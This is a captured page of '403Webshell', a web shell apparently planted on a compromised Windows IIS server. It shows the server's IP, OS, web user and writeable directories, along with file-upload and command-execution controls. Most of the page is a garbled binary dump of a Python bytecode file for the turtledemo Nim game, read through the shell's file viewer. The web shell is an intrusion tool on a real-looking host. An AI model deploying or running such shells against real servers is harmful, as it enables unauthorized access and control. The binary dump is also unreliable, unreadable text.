403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/turtledemo/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/turtledemo/__pycache__/nim.cpython-315.pyc
R
>lqj-c��Qs]PHs]PHs]PHsQsQs]s]s\]*s\\]*]*\]*]***s	Qs
QsQsQs
QsQsQQ\2sQQ	\O$2sQ
Q\2sQQ
\2sQQ\2sQs\Q6Xc\2\O22P!P!)z�turtledemo/nim.py

Play nim against the computer. The player
who takes the last stick is the winner.

Implements the model-view-controller
design pattern.
���c�B�[O[[2!�N)�random�randint�	MINSTICKS�	MAXSTICKS���#C:\Python315\\Lib\turtledemo\nim.py�	randomrowrs���>�>�)�Y�/�/r
c���U]*U]**U]**oU]6Xc[U2![]2FD'oV*U*oV0U*6:fJ!V#1oUt!	P!��)�
randommove�range)�state�xored�z�s�moves&    r�computerzugrs^���!�H�u�Q�x��%��(�*�E���z��%� � �
�1�X���H�u����a��=��6�D��K�	r
c���[U2o[O]]2oV*U]6�6�fJ*[OU]6�V*]*
2oV#1!)T)�maxrr)r�mr�rands&   rrr)sP���E�
�A�
��N�N�1�Q����8�q�1�u����>�>�!�a�%���!��,�D��7�Nr
c�@`�\sQs]3snQsQsQsQsQsQs	Us
P!)�NimModelc��VmP!r)�game)�selfrs&&r�__init__�NimModel.__init__4s���	r
c�d�UOO[O[O17cP![2[2[2,Um]UmPUmUOOO2[OUOmP!r)rr�Nim�CREATED�OVERr�sticks�player�winner�view�setup�RUNNING�r s&rr+�NimModel.setup7sg���9�9�?�?�3�;�;����"9�9�� �{�I�K���=����������	�	�������+�+��	�	�r
c��UOU*oV OU$UOOOVV0O2UO2%cW[OUOmUOUm	UOOO2P!UO]6Xc9]Um[UO2vqUOV2]UmP!P!r)
r'rr*�notify_mover(�	game_overr$r&rr)�notify_overrr)r �row�col�	maxspaltes&&& rr�
NimModel.move@s����K�K��$�	����C���	�	���"�"�3�Y���D��>�>���!�h�h�D�I�I�O��+�+�D�K��I�I�N�N�&�&�(�
�[�[�A�
��D�K�"�4�;�;�/�H�C��I�I�c���D�K�	r
c�&�UO,QN6H!)r)rrr)r'r-s&rr1�NimModel.game_overNs���{�{�i�'�'r
c�^�UOU*U6:cP!UOV2P!r)r'r�r r3r4s&&&rr0�NimModel.notify_moveQs"���;�;�s��s�"���	�	�#�r
)rr(r'r))�__name__�
__module__�__qualname__�__firstlineno__r!r+rr1r0�__static_attributes__�__classdictcell__��
__classdict__s@rrr3s#�����&��(��r
rc�4`�\sQs]WsnQsQsQsQsUsP!)�Stickc��[OOUP
Q5VmV mV0mUO
V2vqEUOQ2UO[Q*[Q*2UO]2UO2UOVE2UOQ2UO2P!)F��visible�squareg$@g4@�white)�turtle�Turtler!r3r4r�coords�shape�	shapesize�HUNIT�WUNIT�speed�pu�goto�color�
showturtle)r r3r4r�x�ys&&&&  rr!�Stick.__init__Xs����
�
���t�U��3������	��{�{�3�$����
�
�8�����u�T�z�5��:�.��
�
�1�
����	��	�	�!���
�
�7�����r
c�@�[U]2vq4]]U**]U**[*o]]U**[*oU[]**
[]**[]*U*
[]**
1!)�)�divmodrQrP�SCREENWIDTH�SCREENHEIGHT)r r3r4�packet�	remainderrWrXs&&&    rrM�Stick.coordsfso��"�3��N���
��f��_�q�9�}�
,��5��
��S��[�E�!���;�!�#�#�e�q�j�0�,�!�2C�a�2G�%�ST�*�2T�T�Tr
c���UOO[O6wcP!UOOOUOUO2P!r)rrr$r,�
controllerr0r3r4)r rWrXs&&&r�makemove�Stick.makemovels;���9�9�?�?�c�k�k�)���	�	���(�(����4�8�8�<r
)r4rr3)	r<r=r>r?r!rMrdr@rArBs@rrErEWs�����U�=�=r
rEc�J`�\sQs]rsnQsQQksQsQsQsQs	Qs
UsP!)	�NimViewc	��VmUOUmUOUmUOO]�2UOO	P
2UOOQ2[OP
Q5UmUOO2UOO]2-Um[]2FD4o[[2FDo[V#U2UOV#1$J	J6	UOQ2UOO	P	2P!)�rGz... a moment please ...)��rjri)r�screen�model�	colormode�tracer�bgcolorrKrL�writerrSrRr'rrrE�display)r rr3r4s&&  rr!�NimView.__init__ss����	��k�k����Z�Z��
������c�"������5�!������O�,��m�m�E�2��������������!�������8�C��Y�'��*/��$�*?����S�J�'�(��	
���.�/������4� r
c�P�UOOP
2UOO2UdiUOO	][
']*]0*2UOO
Q2UOOUQQQ5UOO	][
']*]*2UOO
Q2UOOUQQQ5UOOP	2P!)F�red�center)�align�font�black)�Courier��bold)ry�r{)rkrnrp�clearrTr^�pencolor�write)r �msg1�msg2s&&&rrq�NimView.display�s��������5�!����������K�K���Q�,��!� 3�b� 8�9��K�K� � ��'��K�K���d�(�9N��O�������l�N�a�/�"�4�5������W�%������$�h�5J��K������4� r
c�8�UOOP
2[]2FDXo[UOOU*2FD*oUOV1*O[2J,	JZ	[]2FDYo[UOOU*[2FD&oUOV1*OQ2J(	J[	UOQ2UOOP	2P!)FrJ�*Your turn! Click leftmost stick to remove.)	rkrnrrlr'rU�SCOLORrrqr:s&  rr+�
NimView.setup�s��������5�!���8�C��T�Z�Z�.�.�s�3�4�����S�J�'�-�-�f�5�5����8�C��T�Z�Z�.�.�s�3�Y�?�����S�J�'�-�-�g�6�@��	
���A�B������4� r
c���U]6Xc?[o[V#2FD&oUOV1*OU2J(	P!UO	Q2[
OQ2UO	Q2[o[U]*
U]*
P2FD<o[
OQ2UOV1*OU2J>	UO	Q2P!)rz ... thinking ...         g�?z ... thinking ... aaah ...g�������?r�)�HCOLORrr'rUrq�time�sleep�COLOR)r r3r4r5r(�farbers&&&&&  rr0�NimView.notify_move�s����Q�;��E��3�*�����S�H�%�+�+�E�2�+�
�L�L�5�6��J�J�s�O��L�L�5�6��E��9�Q�;��A��r�2���
�
�3�����S�H�%�+�+�E�2�3�
�L�L�E�Fr
c��UOOO]6XcQoLQoUOQU2P!)rzCongrats. You're the winner!!!z"Sorry, the computer is the winner.z2To play again press space bar. To leave press ESC.)rrlr)rq)r r�s& rr2�NimView.notify_over�s1���9�9�?�?�!�!�Q�&�3�D�7�D����I�4�Pr
c��UOO[O6XcUOO2P!P!r)rrr$r&rkr}r-s&rr}�
NimView.clear�s+���9�9�?�?�c�h�h�&��K�K����'r
)rrlrkr'rpr)r<r=r>r?r!rqr+r0r2r}r@rArBs@rrgrgrs*����!�"
!�	!�
G�Q� � r
rgc�.`�\sQs]�snQsQsQsUsP!)�
NimControllerc�t�VmUOOUmP
UmUOO	2FDoUOUO2J 	UOOOUOOOQ2UOOOUOOOQ2UOOOQ2UOOO2P!)F�space�EscapezPress space bar to start game)rr*r'�BUSY�values�onclickrdrk�onkeyrlr+r}rq�listen)r r�sticks&& rr!�NimController.__init__�s����	��i�i�&�&�����	��[�[�'�'�)�E��M�M�%�.�.�)�*��	�	�����t�y�y���4�4�g�>��	�	�����t�y�y�~�~�3�3�X�>��	�	�����>�?��	�	�����!r
c��UO%cP!P	UmUOOOV2P
UmP!r)r�rrlr0r:s&&&rr0�NimController.notify_move�s2���9�9�9����	��	�	���#�#�C�-���	r
)r�rr')r<r=r>r?r!r0r@rArBs@rr�r��s����	"��r
r�c�4`�\sQs]�sn]s]s]sQsQsUs	P!)r$c��[OUmVm[	U2Um[
U2Um[U2Um	P!r)
r$r%rrkrrlrgr*r�rc)r rks&&rr!�Nim.__init__�s4���[�[��
����d�^��
��D�M��	�'��-��r
)rcrlrkrr*)
r<r=r>r?r%r,r&r!r@rArBs@rr$r$�s�����G��G��D�.�.r
r$c��[O2oUOQ2UO[[
2[
U2oQ!)�standard�	EVENTLOOP)rK�Screen�moder+r]r^r$)�
mainscreen�nims  r�mainr��s5������J��O�O�J�����[�,�/�

�j�/�C�r
�__main__)�?r��)ri��r�)r�r�ri)�__doc__rKrr�r]r^rrrPrQr�r�r�rrr�objectrrLrErgr�r$r�r<�mainloopr	r
r�<module>r�s�����
������
�	��	�������a��2�-��Q��!�0C�C�D��	��	����0���!�v�!�H=�F�M�M�=�6A �f�A �H�F��*	.�&�	.���z���F�
�O�O��r

Youez - 2016 - github.com/yon3zu
LinuXploit